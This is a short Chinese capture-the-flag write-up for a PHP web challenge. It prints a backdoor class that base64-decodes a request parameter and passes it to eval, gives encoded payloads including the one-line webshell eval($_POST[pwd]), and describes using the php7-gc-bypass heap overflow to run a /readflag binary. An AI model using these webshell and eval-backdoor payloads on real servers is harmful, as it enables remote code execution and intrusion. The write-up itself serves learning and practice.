classClassName{public$code=null;public$decode=null;function__construct(){// 1. 从 $_REQUEST(GET/POST/Cookie)中获取「Ginkgo」参数的值$this->code=@$this->x()['Ginkgo'];// 2. 对 Ginkgo 的值做 base64 解码$this->decode=@base64_decode($this->code);// 3. 执行解码后的代码@Eval($this->decode);}publicfunctionx(){return$_REQUEST;}}newClassName();// 实例化类,自动触发 __construct 方法就是执行用base64加密的$_REQUEST传入的参数Ginkgo。phpinfo();加密后为cGhwaW5mbygpOw==。
/?Ginkgo=cGhwaW5mbygpOw==
没禁用eval等函数
传一句话木马连接上shell。eval($_POST[pwd]);加密后为ZXZhbCgkX1BPU1RbcHdkXSk7。
打开却显示flag为空。
发现readflag文件,应该是运行这个文件来读flag。
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
php7-gc-bypass漏洞源于 PHP 垃圾回收(GC)机制中的堆溢出,PHP 的 GC 在处理循环引用的变量时,会对内存块进行标记和回收。漏洞存在于内存块的大小计算逻辑中,恶意构造的循环引用变量会触发堆溢出,覆盖相邻内存数据。因此利用堆溢出可篡改函数指针,最终执行任意系统命令。
网上有EXP ( Exploit ),修改一下执行对象为readflag。
修改后上传文件至tmp目录下。include('/tmp/exploit.php');加密后为aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==。